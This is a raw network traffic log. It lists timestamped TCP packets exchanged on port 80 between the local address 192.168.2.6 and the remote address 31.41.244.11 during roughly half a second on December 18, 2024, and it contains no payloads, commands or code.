Dec 18, 2024 11:47:29.630208969 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.630846977 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.630857944 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.630872011 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.630892992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.630904913 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.631721020 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.631733894 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.631741047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.631784916 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.632416010 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.632428885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.632464886 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.632494926 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.632530928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.632628918 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.633474112 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.633486032 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.633497000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.633532047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.633553028 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.634329081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.634346962 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.634358883 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.634397030 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.634419918 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.634819031 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.634866953 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.634871960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.634888887 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.634913921 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.634938955 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.635608912 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.635665894 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.635736942 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.635799885 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.635823011 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.636447906 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.636460066 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.636471987 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.636504889 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.636533022 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.637209892 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.637232065 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.637242079 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.637278080 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.637304068 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.638130903 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.638144970 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.638155937 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.638192892 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.638225079 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.638911963 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.638925076 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.638937950 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.638977051 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.639000893 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.639643908 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.639657021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.639668941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.639709949 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.639722109 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.640505075 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.640517950 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.640569925 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.640600920 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.641287088 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.641381979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.641426086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.641469002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.641493082 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.642101049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.642154932 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.642227888 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.642241955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.642282009 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.642904043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.642916918 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.642973900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.643074036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.643116951 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.643695116 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.643901110 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.643912077 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.643953085 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.643965006 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.644004107 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.644309044 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.644870996 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.644885063 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.644896984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.644921064 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.644932985 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.645462036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.645512104 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.645524025 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.645569086 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.646347046 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.646359921 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.646405935 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.646672964 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.646719933 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.647150993 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.647162914 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.647175074 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.647211075 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.647222996 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.647934914 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.647947073 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.647994995 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.648062944 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.648752928 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.648924112 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.648958921 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.648971081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.648979902 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.648989916 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.649008989 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.649513006 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.649524927 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.649537086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.649568081 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.649579048 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.650326967 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.650341034 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.650362015 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.650401115 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.650401115 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.651371956 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.651385069 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.651397943 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.651437998 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.652004004 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.652043104 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.652054071 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.652072906 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.652110100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.652113914 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.652920008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.652968884 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.652987003 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.652998924 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.653042078 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.653563023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.653574944 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.653629065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.817084074 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.817161083 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.817277908 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.817291975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.817332029 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.817539930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.817595959 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.817599058 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.817612886 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.817653894 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.818244934 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.818267107 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.818279982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.818312883 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.818341970 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.819057941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.819080114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.819094896 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.819123983 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.819144964 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.819899082 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.819947004 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.819973946 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.819988012 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.820031881 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.820696115 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.820709944 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.820723057 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.820756912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.821012974 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.821480036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.821492910 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.821505070 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.821527958 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.821552992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.822235107 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.822288990 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.822299957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.822299957 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.822320938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.822345972 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.823088884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.823102951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.823115110 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.823146105 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.823169947 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.823905945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.823971987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.824002028 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.824048996 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.824084044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.824134111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.824713945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.824738979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.824753046 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.824773073 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.824784994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.824804068 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.825511932 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.825531960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.825544119 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.825556993 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.825579882 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.825602055 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.826296091 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.826334000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.826349020 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.826353073 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.826373100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.826395035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.827117920 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.827131987 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.827145100 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.827179909 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.827209949 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.828042030 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.828053951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.828068018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.828093052 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.828123093 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.828912973 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.828936100 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.828949928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.828962088 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.828973055 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.829037905 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.829638004 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.829649925 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.829663992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.829699039 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.829730988 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.830264091 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.830312967 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.830322981 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.830327034 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.830351114 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.830374956 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.831168890 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.831182003 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.831193924 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.831216097 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.831238031 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.831918955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.831934929 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.831973076 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.831996918 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.832024097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.832081079 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.832729101 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.832741976 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.832777023 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.832802057 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.832998037 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.833211899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.833595991 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.833607912 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.833621025 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.833643913 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.833658934 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.834351063 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.834400892 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.834572077 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.834584951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.834598064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.834625959 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.834651947 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.835412979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.835427046 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.835438967 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.835460901 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.835473061 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.836162090 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.836198092 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.836210966 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.836215973 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.836255074 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.837013006 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.837025881 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.837038994 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.837074995 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.837106943 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.837884903 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.837924957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.837939024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.837974072 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.837997913 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.838644028 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.838655949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.838700056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.838753939 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.838824987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.839445114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.839457035 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.839471102 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.839513063 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.839513063 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.840260983 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.840282917 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.840296030 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.840306997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.840328932 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.841032028 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.841044903 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.841058969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.841074944 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.841098070 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.841820955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.841834068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.841846943 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.841876030 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.841895103 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.842612982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.842628002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.842679977 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.842716932 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.842822075 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.843444109 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.843460083 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.843493938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.843518972 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.843656063 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.843750954 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.844227076 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.844265938 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.844266891 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.844281912 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.844317913 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.844341993 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.845232010 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.845288992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.008843899 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.008899927 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.008912086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.008915901 CET	49837	80	192.168.2.6	31.41.244.11
